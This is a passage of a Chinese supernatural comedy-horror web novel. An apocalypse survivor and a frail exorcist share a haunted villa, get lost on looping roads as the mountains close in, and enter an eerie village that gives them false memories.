但这些肉会被送去统一作为营养剂原料,因此原野虽然手下猪命无数,他自己确实没见过切好冷冻放在冰箱里的肉。 博大精深的异世界啊。 原野思考良久,褪黑素事件还记忆犹新,让他不敢随便下手,翻翻捡捡,最后在冰箱里找到了唯一几个眼熟一些的鸡腿,慎重地拿了出来。 半个小时后,师酌光看到了他醒来的第一餐:一锅只加了盐的白水煮冻鸡腿。 富贵人家出身的师酌光:……………………………… “为什么没有调料?”师酌光凝视着面前疑似连血沫都没有撇的可疑肉汤,内心饱受震撼。 原野诚实道:“我不认识。” 师酌光:…… 原野虽然没有常识,但是他有眼睛,从师酌光的表情就完全可以看出来自己做的这锅饭似乎有点……好吧,应该是很差。 但他也没有其他办法,厨房调料罐一堆,他最多就认识盐和糖,师酌光现在又不能下床,最后两个人默默无言,分了那一锅白水鸡腿。 说是分,师酌光喝了两口汤就吃不下了,原野倒是胃口大开,越吃越香,一整锅都炫了进去,看得师酌光叹为观止。 吃完饭,师酌光体力不支,睡了过去。原野收拾了锅碗带到楼下去洗。 此时雨终于停了,原野淌着一楼的积水把餐具放进水槽,眼见水开始退去,顺手拿了扫帚将水往外扫。 在他头上,是自从师酌光来了之后就吓得不敢出声的群鬼们,见师酌光睡了,又聚在一起窃窃私语。 “他要开水龙头了,要不要吓他?” “不要吧……我害怕……” 群鬼对惊吓原野这件事逐渐丧失了兴趣,或者说感到了恐惧,推推搡搡间,眼看原野就开水龙头了,其中一鬼一咬牙一跺脚,冲了上去。 血水从水龙头里喷涌而出。 原野吓了一跳,下意识觉得水箱里进了尸体,但冷静下来却没闻到血腥味。原野歪头想了一下,觉得可能是山洪造成了水源污染,抬手先关了水龙头,去卫生间找了个水桶回来,放在水龙头底下接水。 阀门打开,鲜红的血水喷涌而出,落在水桶里。 昏暗的房间里,原野专注地看着血水逐渐盛满水桶,嘴角逐渐抑制不住地上翘,露出灿烂的笑容。 像个变态一样。 此情此景,作祟的鬼魂再也受不了这精神冲击,从水龙头处逃开了,自来水随之变清。 神经病啊,比鬼还吓人。 原野心满意足地把一桶血水拿开,幸福地用无限量自来水洗了平生第一个不需要计时停水的碗。如果不是他在这里的一天里已经见了很多世面了,简直恨不得爬上去抱着水龙头亲一口。 这样的话,浴室也能随时用了吧。 原野想到这里,整个人幸福得像是开满了一草原的花。 不过现在还不是享受的时候,一楼两百平的房子还有待检修。 原野从柜子里找出了一大把白蜡烛,放在房间的各个角落照明。 好在房间内水位最高时也不过刚到脚踝,实际被泡到水的家具不多,原野花了一个通宵的时间将房间整理消毒了一遍,之前攒下的那桶血水也没浪费,被原野用来冲门外台阶上的淤泥了。 于是在一个灾后的深夜里,偏僻的凶宅里满屋白烛、火影摇曳,一个年轻人一脸欣慰地用血水冲着大门口。 如此强烈的画面冲击,要不是这一屋的鬼魂离不开凶宅,不然这房子它们都不想要了。 有病啊! 原野对于鬼魂的点评浑然不知,兀自沉浸在劳动人民最光荣的旋律中,收拾完房间又点着蜡烛去检修电路,一晚上行云流水,在日出时分把整个房间都打扫了出来。 眼见太阳升起,原野气沉丹田,在群鬼震撼的目光下徒手搬起一百斤的沙发运到院子里晒太阳。 恶鬼们已经看麻了。 到此为止,鬼魂们终于绝望地认识到,这个莫名奇妙出现的变态,要一直在这里住下去了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 5、第五章 新怀疑 一晚上的时间里洪水退了干净,朝阳从群山中升起,地上未干的水渍反射着金色的辉光,让整座别墅都笼罩在一层金辉之中。 原野干了一整个通宵,眼见太阳升起,丝毫没有去补觉的想法,而是寻找起原主人的汽车。 这里位置还是太偏僻,找到车的话就可以把楼上的病号送去医院了,况且原野也十分期待异世界的城市是什么样的。 车倒是好找,毕竟整个别墅看起来能停车的地方也只有一处,原野轻而易举撬开车库门,看到了里面停的黑色保时捷。 好消息是车库进水不严重,坏消息是车不知道多久没有开过了,车库内水汽很重,车内一股陈腐的气味,配件老化了大半,真皮座椅上长了不少蘑菇和霉菌。 原野怕这种情况自己会不慎吸入霉菌,没敢进入车内检查,而是推着车屁股,手动将车推到了阳光下暴晒。 做完这一切也不过八点,原野上楼看了一回师酌光,见他似乎快醒了,便蹑手蹑脚地走回了楼下,开始今日新的发愁,做什么饭呢? 昨天的煮鸡腿虽然原野自己吃的还行,但很明显师酌光不行,愁得原野直叹气。最后翻箱倒柜,在橱柜里找到了一整盒六碗的即食花胶燕麦粥。原野大喜过望,当即开火,把六碗都倒进去煮开,给师酌光端上去了。 师酌光:…… “呃……这个不能这么吃吗?”原野看出师酌光表情不对。 “不,这样就很好了。”师酌光礼貌微笑,接过原野手里的碗吃了起来。 勉强吃完饭,师酌光忍了又忍,还是没有忍住,问道:“你爸妈放心你一个人住在这里吗?” 师酌光能看出来原野年纪也就二十岁上下,再加上不会做饭连调料都认不全的状态,他自然地将原野认成了暑假期间独自在家的大学生。 “我爸妈?我十岁的时候他们就去世了。”原野自然道:“不过你不用担心,房子现在只有我一个人住,你需要修养的话,在这里住多久都可以。” 师酌光:………… 因为开了一个太地狱的话头,以至于师酌光现在觉得自己说什么都很失礼,想了想,才继续问道:“现在洪水退了吗?” “退得差不多了,”原野点头:“再过一天路应该就能正常通行了,你是想回家吗?就是车坏了,修好得再花两三天,到时候我开车送你回家?” “不……”师酌光脸色白了一下,停了片刻后,才道:“如果你不介意的话,我想在这里住一段时间。” “当然不介意,”原野笑起来:“我一个人什么都不熟,你愿意在这里住下最好了。” “谢谢你的好意,我会支付报酬的。”师酌光礼貌地说道,松了一口气的同时,终于问到了自己最在意的问题:“你平时都去哪里吃饭?” “啊?”这个问题把原野问懵了。 师酌光:“我是说,既然你不会做饭,你一日三餐不是去外面的饭店吃吗?” 饭店!可以在外面吃一日三餐!这得多好吃! 得到了这个消息的原野一下振奋了,但一秒后就萎靡了,发洪水时他爬上山后向远处眺望了一下,目之所及,没有一个地方像是有人住的。 原野将这个消息告诉师酌光后,两个人同时遗憾地沉默了。 但是原野沉默半天后,反应过来了,忧郁地看向师酌光,不自信地问道:“饭这么难吃吗?” 师酌光没说话,但是原野懂了。 两人只相处了几个小时,但原野已经看出来师酌光是个很有礼貌,而且很怕麻烦他的人了,这样的人绕了半天圈子就是问有没有别的饭可以吃,这只能说明,他做的饭,很!难!吃! 原野的良心都要痛起来了。 “让你见笑了,”师酌光温和地笑笑,道:“你还是个学生就要你来照顾我,实在是勉强,我现在身体好多了,中午饭我来做吧。” “能行吗?”原野眼睛一亮,刚想点头,转念间想起普通人脆弱的身躯,怀疑地打量起他来。 “没有问题。”师酌光还是和煦的样子,只是犹豫了一下,道:“不过我身体一直虚弱,家里要是没有电梯,可能需要你背我下楼。” “这好说。”原野兴冲冲点头,接着反应过来:“对了,你能走路吗?” 之前原野抱着师酌光上楼的时候就发现了,他的腿比身体其他部位更消瘦。这话题有些尴尬,一般人都会下意识回避,但原野一点没有窥探别人隐私的自觉。 末日世界,资源和时间全都一样缺乏,大家都养成了很有效率的生活习惯,尤其是伤员,更是争先恐后把自己情况告知救援队,生怕自己没来得及说有糖尿病,就被更有效率的救援队一支葡萄糖送走了。 师酌光的表情总是很温和,哪怕听到这样有些冒昧的询问依然神色自若:“对,我身体一直虚弱,所以行动不便,日常如果有轮椅能用是最好的,没有的话扶着墙壁也是可以站立。” 原野自然道:“那我去找找家里有没有轮椅。” 是的,原野现在已经把这个占地两百平米,两层楼的别墅当成自己的家了。 毕竟丧尸活动的地带里到处都是空置的房屋,原野他们执行任务时都是随捡随住,习惯了。 不过很遗憾,这个家里没有轮椅。前房主夫夫一看就身体健康,没有这方面的需要。 最后原野自己动手,去地下室把闲置的自行车扛了出来,拆了两个轮子和前叉,配合一个铁艺椅子,用异能给师酌光焊了一个简易轮椅。 把师酌光都看呆了。 “你家里还有焊机?”师酌光被原野背下楼,看着这个简单粗暴的的自行车杂交轮椅,语气震惊。 “呃……”这真是一个好问题,原野犹豫半晌,终于道:“有一些替代品。” 说完不给师酌光再问的机会,将他放在轮椅上,推着用自行车把改装的轮椅扶手,不由分说地将他运到了厨房。 想吃饭的心跃然脸上。 “好吧,”师酌光失笑,然后指挥原野道:“先带我去冰箱看看吧。” 冰箱里的东西比他想象得多,师酌光挑了一大块牛腩出来,化冻后做牛腩炖土豆。其实师酌光本人刚从昏迷中醒来,并不爱吃这样浓油赤酱的食物,这么做主要是他觉得原野会喜欢。 冰箱冷藏里的血腥小蛋糕被两人一起忽略了,还剩下一些油菜,时间有点久了,虽然裹着保鲜膜,还是蔫了,师酌光一起取出来,然后指挥原野找来干香菇泡上,最后泡了大米,结束了准备工作。 师酌光的疑惑也在准备的过程中逐渐增加。 厨房里的食材一应俱全,生产日期最晚在四月底,按购买的量来说,这里最起码住了两个成年人。夏天易生虫的米粮全被妥善放好,冰箱里的蛋糕饮料显示是要为谁庆生,以上种种,都不应该是父母双亡,自己不会做饭的原野会准备的东西。 这更像是原本住在这里的人正准备庆祝谁的生日,却在生日的前一天突然消失了,然后原野住进来并假装自己是这里的主人。 像一个谋杀故事的开头,至于凶手…… 师酌光满腹思虑的抬头望去,看到原野正对着他找出来的几瓶饮料垂涎欲滴。 “这个可以喝吗?”原野指着易拉罐装的汽水眼睛冒光。 “可以。”师酌光点头,自己推着轮椅走了。 “好好喝!”身后是疑似变态杀人狂感情充沛的赞美。 师酌光操纵着轮椅在一楼的餐厅和客厅转了一圈,扭头问原野:“可以带我出去走一圈吗?” “可以是可以,嗝——”原野感受到了汽水的震感,回味了一下后,道:“但是洪水刚退,路挺滑的,我做的轮椅没有刹车,你要是想出去最好让我背你出去。” “那还是不麻烦了,”师酌光从善如流地改口道:“过几天再出去也一样。” “我可以去其他房间看看吗?”师酌光礼貌问道。 “可以呀,房间门都没锁,你推门就可以进去。”原野道:“需要我推你吗?” “谢谢,”师酌光笑道:“我自己可以。” 这幢别墅虽然鬼气森森,但布局是用过心的,一楼明显是功能区,师酌光推开书房门进去,发现门确实如原野所说没有上锁,但门锁上有被撬开的痕迹。 师酌光看到了,但没有说话,而是打量着这间书房。 一部分医学书籍,一部分法律条款,还有很多给十岁左右的孩子看的童书。 窗外是绵延无尽的山脉。 这家人里还有个小孩子? 师酌光从房间里退了出去,将其他房间依次巡视了一遍,山影从一扇扇窗户投向室内。 群山包围着这座房子。 “门外是不是有条河?”师酌光推着轮椅回到厨房,看到守着冰箱,对血腥蛋糕蠢蠢欲动的原野,问道。 三面环山,一面临水,是个做阴宅的好地方。 “对,你怎么知道?”原野奇道。 “那个蛋糕时间太久了,最好别吃了。”师酌光温和地补充道:“吃雪糕吧,在冷冻的第二层。” “对了,这里没有电梯,如果方便的话,可以在一楼的书房帮我支一张床吗?”师酌光笑道:“我想住在一楼。” “一楼……不太安全,这里靠山,刚发过洪水,半夜可能会有野兽下来觅食,”正在翻找雪糕的原野停顿了一下,道:“你想住一楼的话……要不咱俩住一屋?” “那还是不用麻烦了。”师酌光摇头,很客气地说道:“我喜欢一个人睡,辜负你的好意了。” “这有什么的,你想住哪里都行。”原野在冷冻层找到了一些塑封好的摸起来是棍状物的东西,猜测是师酌光说的雪糕,又怕自己错认,吃到什么不可名状的神秘物体,于是举起来问他:“我找到了,你要吃吗?” “不了,我现在吃不了生冷。”师酌光摇摇头:“能麻烦你把我背上楼吗?离午餐还有一段时间,我想先睡一会儿。” 当然没有什么问题。 原野轻松地端起轮椅,在师酌光震撼的目光下,连人带椅,一起运到了二楼,嘱咐他好好休息,然后快乐地回一楼去吃雪糕。 客卧的门关上。 原野在门后变了脸色。 师酌光在提防他。 下楼前他还对自己很信赖,自己做了什么不合时宜的事?他住一楼是想逃出去吗?被他看出来了吗?我来自己异世界。 和颜悦色的表情从师酌光脸上褪去。 原野入侵了这个家。 他不想让自己单独在一楼呆着,甚至没有放自己出门看过外面,是怕自己逃跑吗? 这个家的原主人去了哪里? 师酌光感应到原野下楼后,默默从床上爬了起来,扶着墙走向主卧。 主卧依然没有上锁,门无声地滑开,映入眼帘的是墙上一张巨大的结婚照,两人紧贴的脸上破开狰狞的刀口,只残留着灿烂的笑容,和窗外亘古的群山,一起凝视着他。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 6、第六章 新道路 中午,原野如愿以偿地吃到了土豆炖牛腩,香得看师酌光都带着一层发光的滤镜,怎么看都怎么觉得师酌光是个好人。 这就是异世界的饭吗?太美好了。 原野捧着饭碗,宽面条泪喷涌而出。 看得师酌光都呆住了。 低头尝了一口……嗯,正常味道。 不确定,再尝一尝……确实很普通。 等他品鉴完,再抬头时,原野的碗已经空了,并虎视眈眈看着自己的碗。 师酌光默默地把头又低下去了。 原野暗示失败,开始幻想晚饭。 “冰箱里的肉和菜都不是很多了,”师酌光秉持着食不言寝不语的习惯,吃完饭放下筷子才道:“最多只能吃三天。” “什么!”这消息对原野来说不亚于晴天霹雳:“那怎么办?” “我怎么会知道呢?”师酌光失笑道:“你平时去哪里买菜?” 我平时去大自然和野生丧尸尸口夺食。 原野肉眼可见的萎靡了,闷闷不乐道:“我待会儿就去修车,晚上应该就能出去找……买食物。” 想到这里原野又开心了起来,末日世界也是有交易市场的,但是商品种类很少,现在来到物资充沛的异世界,简直不知道市场里能有多少东西! 事不宜迟,原野把师酌光送回卧室,自己带了两层口罩,又找了条丝巾把自己的脑袋仔细打包了一圈,去地下室拿了工具修车。 车还算好修。原野末日大学优秀毕业生,荒废二十年的破卡车着急了都能一脚油门甩丧尸二里地,更何况是异世界保养良好的轿车。哪怕长满了蘑菇,在原野眼里也和十成新没什么区别,还自带储备粮,是台心地善良的好车。 连清洗带维修耗去了五个多小时,下午六点,原野钻进车里,绕着别墅开了一圈,见没什么问题,上楼去找师酌光。 他对这里的食品不了解,贸然和外人接触怕露出破绽,想让师酌光列个采购单子,最好能标明价格,免得自己被骗。 师酌光一下午虽然睡着,半梦半醒间却全是无尽的梦魇,脸色苍白如纸,看起来十分憔悴。他被原野叫醒也没有被打扰的恼怒,如他所言写了张单子,温和地问道:“你的钱够吗?” “应该够吧……”原野眼神飘忽。 那必然是一分也没有的。 原野打算待会儿去主卧搜刮点,就算没钱,也可以拿些值钱的东西去卖。 “用不用给你带点药回来?”原野看完单子,发现只有食物,抬眼问道。 “不必了,”师酌光摇头:“我先天不足,吃药也没有用。” 原野闻言不再此事上纠结,嘱咐了一句好好休息,便拿了单子去隔壁翻箱倒柜。原野对现代社会的电子支付一无所知,但是他幸运地找到了前主人夫夫里其中一人藏的私房钱,让他得以揣着一笔巨款开车进城。 但是去哪里又是一个问题了,原野没在屋子里搜到地图,于是选择了最稳妥的办法,沿着大路走。 打定主意,原野一脚油门,驶入了群山之中。 世界一下变得寂静无声。 没有鸟雀的啼鸣,没有风吹过树叶的沙沙声,没有流水经过的哗啦声,甚至连轮胎压过柏油马路,都好像被棉花包裹一样,没有一点声音传出来。 一切安静得可怕,没有声音的世界仿佛黏连在了一起,眼前的道路和两边的山色树影彼此勾连,相互交融,原野在这瞬间失了神,仿佛闯入了一片浓稠的混沌中,一切都消失了。 下一秒,原野汗毛倒竖,他猛地一踩刹车,车子发出一声尖锐的嘶鸣,橡胶轮胎摩擦是地面的焦糊味传来,保时捷艰难地停了下来。 原野定了定神,抬眼,见车头停在了离自己的别墅墙面不到一个手掌的距离。 险些就要撞上去了。 我迷路了? 原野惊魂未定地下车,绕着车查看了一圈,车子没有损伤。他站直了身子抬头看去,天上的太阳却已摇摇西坠。 过去一个小时了吗? 原野长身立在夕阳下,沉默了片刻,坐回了驾驶位,又一次发动了车子。 这次他没有再沿大路走,而是换了一个方向,选择沿着河道一路开过去。逐水而居是人类的本能,这么走总是没什么问题的。 沿水是一段比较平整的土路,洪水冲来了上游不少白色石块,水退后留在了河中。太阳逐渐西斜,水面反射出晕红的光芒,像是流淌着的鲜血,惨白如骨的石块突兀地在血色中耸立。 流水潺潺,和原野的车一起,向西涌去。 一路上流水不绝,仿佛没有尽头,原野在血一样的夕阳里不知开了多久,好似逐渐融入了水中。鲜血没过头顶,原野毫无挣扎地松开了方向盘,在血液中沉下,被无数的血推入时间的罅隙,逐渐沉没。 就在人和车即将坠入渊底时,一道电光自原野胸口闪过,划破了无尽的血幕。原野猛地一个机灵,从混沌中醒来,下意识踩住刹车。 轮胎扬起激烈的水花,向前滑行了一米后终于堪堪停了下来,原野这才看到,自己不知道什么时候已经驶入了河床上,差一点整个车就要滑进河水的最深处。 好险,刚才发生了什么? 原野小心地将车开回了岸上,发现墅沐浴在夕阳的晚照下,笼着一层绯红的晕光,静静地伫立在他面前。 二楼,一扇同样泛着丹砂一样的玻璃后面,映出模糊的人影。 师酌光在看着他。 “喂——”原野向着师酌光挥手,见他打开了窗户,继续喊道:“我好像迷路了。” 当然不是迷路。 师酌光体力不济,原野走后便一直昏沉地躺着,半梦半醒间感到窗外闪过电光,支撑着下床查看,见到的就是原野险些将车子开进水里的一幕。 遇到鬼打墙了吗?这里阴气这么重,倒也不是不可能。 想到这里,师酌光勉强提了提精神,道:“你上来接一下,我陪你一起去。” “你认识路?”原野听话地跑上二楼,道:“我觉得这里怪怪的。” 师酌光沉默地看着他,片刻后才意味不明地说道:“大约吧。” 他在说什么?认识路还是怪怪的? 原野摸不着头脑,但也怕多说多错,干脆不再纠结,将师酌光带下楼,两人上车,原野看到师酌光自然地摆弄起车载的屏幕。 嗯? 原野疑惑。 地图在屏幕上亮起。 哇! 原野眼睛也亮了。 还有这种高级产品。 原野他们这代人当然也用过导航,只是车子损耗太大,导航系统是直接装载在队员的设备上的,车载的原野还是第一次见。 “你没有用这个吗?”师酌光漫不经心。 “我直接沿大路开的。”原野避而不谈。 师酌光没再说话,点开地图,只见他们所处的位置群山环绕,附近没有任何村落或者房屋的标识。 看得师酌光直皱眉头。 既然这里这么偏僻,那水电是怎么通的?一个有孩子的家庭又怎么会选择这么荒凉的地方住下? 师酌光忍不住看向原野。 他难道没有察觉到不对吗? 他必然是察觉不到的。 作为刚刚畅享无限量水电气不到四十八小时的末世野生人类,原野对异世界的科技水平和现代化程度还处于探索阶段,一幢在与世隔绝还通水电的房子,在原野眼里那自然是有他道理的。 毕竟异世界深不可测啊。 至于住在深山老林里,对于一个出了基地就是茫茫林海的末世人来说,这不是很合理的配置吗? 毫无问题的。 “怎么了?”原野满眼清澈地发问。 “没事。”师酌光伸出两指,滑动地图。 原野此时才注意到师酌光的手掌宽大,指骨修长,指甲和指缘都修饰得整齐干净,像玉一样。 是个不需要干活的人。 原野收回了目光。 随着地图比例尺数字不断变大,在离这里五十公里的地方终于出现了几个零星的建筑物,标为何有乡。 师酌光看着这三个字皱起了眉头。 “要去这里吗?”原野歪着脑袋看地图:“车里的油不多了,大概只能开到距离这个乡两公里左右的地方,剩下的路我倒是可以背你走过去。” “不,不去这里,”师酌光面色逐渐变得严肃:“这地方不对劲,趁着现在天还没黑,还是走公路,试试看能不能出去。” “不好吧……”原野心有余悸。 犹豫的语气让师酌光笑了起来:“怎么,信不过我……吗” 师酌光说到一半笑不下去了,因为随着他说话,原野脸上清清楚楚地浮现出:那必然信不过啊!你难道不知道自己看起来好像随时要死掉吗!这种十分冒昧的表情。 笑不出来的师酌光:“开车。” 艺高人胆大决定还是不伤害脆弱人类的原野:“哦。” 车子再度上路,一头栽进无声的世界,好在这一次有师酌光在,原野清醒得比上次快得多,离别墅还有两车长的距离时便刹住了车。 饶是如此,师酌光仍觉得背后泛起了一阵薄薄的冷汗。 竟然连他也在不知道什么时候中招了。 这实在不是一个好征兆。 更糟糕的是,现在天已经全黑了。 “今天不能再走了。”师酌光当即道:“先睡一觉,明天再想办法。” 原野脸色也变得不好起来,当了这么多年队长,他还是第一次在这样一片普通的山区迷路如此多次的。 不过两个人都默契地没有继续讨论这个话题,只有在当晚睡觉时,原野找出了一张行军床,支在了师酌光的房间里。 师酌光默许了。 为了防止突发情况,房间里还留了一盏夜灯。 真好啊。 原野看着那盏昏黄的小灯,想起以前在伸手不见五指的山洞里逃命,全队上下找不出一支手电的时候,幸福感又一次笼罩了他。 另一边,睡在床上的师酌光一闭眼,眼前便是走不出的山路和遍布冤魂的凶宅,他心中烦闷,假借熟睡翻身,转过身去观察原野。 正看见原野对着床头的夜灯露出幸福的微笑。 师酌光:…… 师酌光又翻了回去。 第二天原野是被师酌光的动作吵醒的。 他听到被子摩擦的声音,睁开眼睛就看到师酌光踉跄地起身,扶着墙壁走到了房间的窗户边,“唰啦”一下拉开了厚重的窗帘。 “怎么了?有什么不对吗?”原野因为刺眼的光芒闭住了双眼。 然后他听到师酌光没有起伏的声音:“你看外面,山在逼近我们。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 7、第七章 新地图 原野几乎是立刻从床上弹了起来,跃到了窗前。 窗外山影森然,在别墅一公里外巍峨地俯视着他。 这宛如神迹一样的场景令原野呆愣在了当场,半晌后他扭头看向师酌光,眼睛里全是无法理解的震撼。 “怎么会这样子?”原野其实想问的是这是你们这个世界的特有景观吗? “它在逼我们离开。”师酌光看着窗外,语气淡淡地说道。 原野:“谁?” “它要我们去何有乡。”师酌光的语气里多了一种了然的寂静。 “到底是谁?”原野要炸了。 他现在满脑子都是自己被疯狂科学家绑架在了实验室里,眼前的一切都是人工搭建的棚景,巍峨的大山下面装满了滑轮,在他晚上睡觉的时候,无数个工人启动推车,把山推到了他面前。 这其中最令原野伤心的就是:如果这一切都是真的,那他的完美别墅只是play的一环。 要再见了吗?我的神奇小冰箱。 原野流下了不舍的泪水。 师酌光:…… 原野:? 师酌光艰难道:“你似乎……并不害怕?” 原野:?? “怕什么?”超有最强异能者自信的原野真诚发问。 师酌光:……………… 如果不是家里二十多年的严苛教育,此时此刻师酌光真得想掰着原野的脑袋拉到窗口,大声告诉他:山!在移动!它在动!你有没有常识啊! 但光风霁月的师酌光只能沉默片刻后,开口道“山在移动,如果我们不离开,会被山夹死,它在逼我们去何有乡。” “啊。”原野真挚点头:“那我们走吧。” 师酌光:……………… 特别擅长面对现实的原野:“不然呢?” 师酌光:……………… 一段漫长的沉默过后,师酌光听到自己咬着后槽牙发出的声音:“好。” 两人现在虽然想的东西南辕北辙,但行动却十分迅速。 原野去楼下打包食物和水,顺带搜刮了别墅里的打火机、断路器、充电电池这些带电设备,试图用异能造点防身的小工具。 师酌光在二楼问鬼。 窗帘拉了起来,屋内一片漆黑,师酌光坐在一根燃烧的蜡烛前,划破了食指。指尖鲜血一滴又一滴地落在烛焰上。 火焰化作金色,不停地跳动着,连带着师酌光投在房间四面墙上的影子都在诡异地晃动着。 血不断流着,令群鬼觊觎又畏惧的鲜血此刻却仿佛失去了效用,没有一只鬼被引召到师酌光面前。 师酌光已经预料到了这样的场景,叹了口气,伸出修长的手指,起身捻灭了烛焰。 火光与四面人影一起消失了。 从今天早上醒来他便觉得不对劲,屋里一只鬼都没有看到。 起初他以为是鬼魂畏惧自己,躲了起来,但现在他能确定,鬼魂消失了。 这个别墅里什么都没有了,只有自己和原野。 师酌光在浓稠的黑暗中翻动手腕,凝视自己的手掌。 这只手是活人的手还是死人的手? 是生人的还是鬼魂的? 生和死的界限在这一刻模糊,生与死交汇,一起淌进了黑暗里。 一束光突然驱散了黑暗。 原野推门而入,手中电光如一轮金阳,驱散了一室幽暗。 “你拿着什么这么亮?”师酌光下意识闭眼。 “啊……是手电,”原野立刻收了异能,岔开话题道:“发生什么了?怎么不开灯?” 原野将吃的塞满了车子后备箱后,就上二楼来找师酌光,然而客房闭着门,一点光都没透出来,还透着一股不祥的死气,原野立刻警铃大作,还当是又发生了什么异变,立刻全副武装地冲了进来,见师酌光好端端地坐着,松了口气的同时又疑惑了起来。 师酌光没有说话。 这是一个很难解释的问题,他干脆选择了沉默,片刻后发现原野还在认真地看着他,显然并没有打算放过他。 于是师酌光果断道:“你手里拿的不是手电,到底是什么?” 世界彻底安静了。 两个心怀鬼胎的人各自沉默半晌,最后假装无事发生,原野走过去,背着师酌光下了楼。 早上九点钟的太阳高悬在空中,阳光炽烈,在树林山影见洒下金色的光影,原野驾驶车辆,在渐渐合拢的山脉间沿着一条满是荆棘和枯树的小道,穿过灿金的尘埃,向何有乡驶去。 车也果然如原野所说,在离目的地两公里的地方耗尽了燃油。 原野经验丰富地用最后一点油把车开进了路旁的草丛里,妥善放好后,自己背了一个书包,把师酌光放到自制轮椅上,然后也不管他乐不乐意,在轮椅大大小小各个地方都挂上了食物,甚至还贴心地塞给师酌光一把遮阳伞后,才满意地推着他继续进发。 “你昨天为什么不想来这里?”原野问道。马上就要到敌方阵营了,先收集些情报比较稳妥。 “你上学没有学过《庄子》吗?”师酌光问道。 没有,我上学主课是《丧尸的辨别和逃生》。 原野干巴巴地说道:“我十岁的时候父母就去世了,之后没人管我,我一直在野外流浪。” 师酌光:………… “你怎么不说你是住在别墅里的小少爷了?”师酌光笑问道。 “这不是被你识破了,”原野无所谓道:“咱俩都被困在一个地方了,也该开诚布公地说点个人情况了吧。” “你说得对。”师酌光点头,问出了自己一直以来的疑惑:“不过你是不是完全不知道我是谁?” “啊?”原野低头俯视师酌光,正好能看到他头顶的发旋:“你很有名吗?” 师酌光:…… 所以我在自作多情什么啊。 想到昨天自己还以为原野是听到了他驱鬼师的名号而高兴的行业翘楚羞耻地静默了一下。 “既然如此,我先介绍我自己吧,”师酌光没有回答这个问题,直接道:“我是一个民俗学者,主要研究方向是乡村传奇故事。” “怪不得你知道的这么多,失敬了。”原野发出赞叹的声音。 “对了,我还没说我呢,”原野开朗道:“我一直流浪,没有正经工作,好在身手还不错,偶尔会有人雇我当保镖,就这么一直活到现在了。不过我没有固定住的地方,流浪的时候看到那幢别墅空着,就住进去了。” “原来如此,”师酌光表情和煦,坦率地笑道:“之前怀疑你入侵了那户人家实在是抱歉,不过既然你我现在坦诚相待,之前的芥蒂不妨一笔勾销,我们两个同心合力,一起逃出这里。” 夏天的阳光穿过茂密的树叶,两人在灿烂的阳光下坦诚交换了彼此的故事,之前盘桓在别墅里的疑云似乎都在阳光的照耀下烟消云散了。 此时此刻,两人第一次有了一样的想法。 他在撒谎。 原野和师酌光同时想到。 “所以何有乡是什么?”原野回归正题。 师酌光:“《庄子》里写,‘今子有大树,患其无用,何不树之于无何有之乡,广莫之野,彷徨乎无为其侧,逍遥乎寝卧其下。’无何有之乡,一个什么都没有的地方,或者说是一个幻境。” 师酌光此时仿佛一个真正的民俗学者一样为原野解惑道:“这样一个地名,可能就是在骗我们来这里,说不定就时为了引诱我们耗尽汽油和食水,让我们绝望的死在路上。” “这样啊。”原野认真点头。 一个想要试验人类绝望时的爆发力的疯狂科学家的形象出现在了原野的脑海里。 “或者更糟糕,”既然已经开了头了,师酌光不介意再多说一点:“这个何有乡是真实存在的,它会诱导我们在里面自生自灭,如果勘不破其中的关键,我们就会困死在其中,成为它的养料。” 疯狂科学家的形象在原野脑海里换成了疯狂精神学家。 这样的情况是原野从来没有遇到过的,不过作为一名靠谱的队长,他还是人道主义地安抚了一下柔弱的民俗学者:“你放心吧,我虽然不知道我们去的地方会是什么样的,不过我会保护你的。” “那就仰赖你了。”前著名驱鬼师也很上道地表示了感谢。 两公里的路程对原野来说不算什么,哪怕他怕师酌光颠簸,特意走得慢了些,也不到半个小时就到了。 原野在何有乡的入口处止住了脚步。 这竟然是一个看起来有些人气的小村子。有人在村口卖包子,有人骑着自行车匆匆买了两个,又飞一样骑着车走远了。包子铺不远就是一所学校,应该有学生在上体育课,能听到远远飘来几声哨音。 “这什么情况?”此情此景,原野低头和师酌光嘀咕一下。 “不知道啊。”师酌光只是淡淡地笑笑,抬头看向原野:“你会保护我吧?” “当然。”原野队长的责任感再度被激发出来,充满斗志地推着师酌光走进了何有乡。 原野和师酌光两个外乡人的到来奇异地并没有引起原住民的主意,原野推着轮椅走在坑坑洼洼的水泥路上,自然地好像回家一样。 “我有一种奇怪的感觉,”原野小心地推着师酌光避开路面的凸起,道:“好像我就是这里的人。” “我也是这样,”师酌光揉了揉太阳穴,露出了一个笑容:“我甚至想起来我们住在哪里了。” 原野也想起来了,好像脑内的迷雾突然被吹散,露出了真实的世界。 他是十岁的时候搬到这里的。 那一年他所在的村子爆发了一阵猛烈的狂犬病潮,他的父母因此丧命,原野自己被救援队从家里带了出来,送到了这里生活。 现在,他是学校里的保安。 至于他推着的人,是他的邻居,前两天扭伤了脚的乡图书管理员,也是这里唯一的管理员。他受伤休息的这段时间,图书馆一直没有开门,不少学生都盼着他赶紧好起来。 师酌光的家人也不在乡里住,他扭伤后生活不便,只能拜托原野照顾他。 原野不反感这个多出来的差事,一是因为他责任心强,乐于助人,二是因为师酌光做饭好吃,他跟着能混口饭吃。 “酌光哥,”原野自然道:“你今天还要去买菜吗?” “不用了,”师酌光摇头:“你先送我回家吧。” 何有乡经济不怎么发达,原野和师酌光两个人住的是乡里倒闭的印刷厂留下的旧员工宿舍。 这是一个建在道路旁的二层小楼,扁扁的一排,上下各四户,一共八家,大门统一对着街道。一楼没有围挡,出了小楼,门口就是院子。二楼走廊设了栏杆,刷了绿漆,风吹日晒,漆面剥蚀,露出里面铁锈红的底色。 一层住的都是年纪大的老人,原野和师酌光年富力强,被安排在了二楼。 小二楼的最西边砌了一溜陡峭的楼梯,也是用绿色的栏杆挡着。原野和一楼晒太阳的老两口热情地打了声招呼,熟练地气沉丹田,连师酌光带轮椅一起端了起来,向二楼走去。 “小原还是那么有劲。”干瘦的老太太眯着眼夸奖道。 她旁边一样消瘦的老头点头附和。 原野带着师酌光上楼。 水泥台阶很陡,一脚踏上去像是陷进了血肉里,绵软、潮湿,带着向下拽的吸力。下一步,水泥坚实的材质提供了可靠的支撑,陷落在血肉里的腿被拔了出来。 向后望去,潮软的触感来源于台阶上蔓生的青苔。 八月的阳光白惨惨地照着。 楼下的老夫妻还在说话,只是眼睛的余光似乎还留在他们身上。 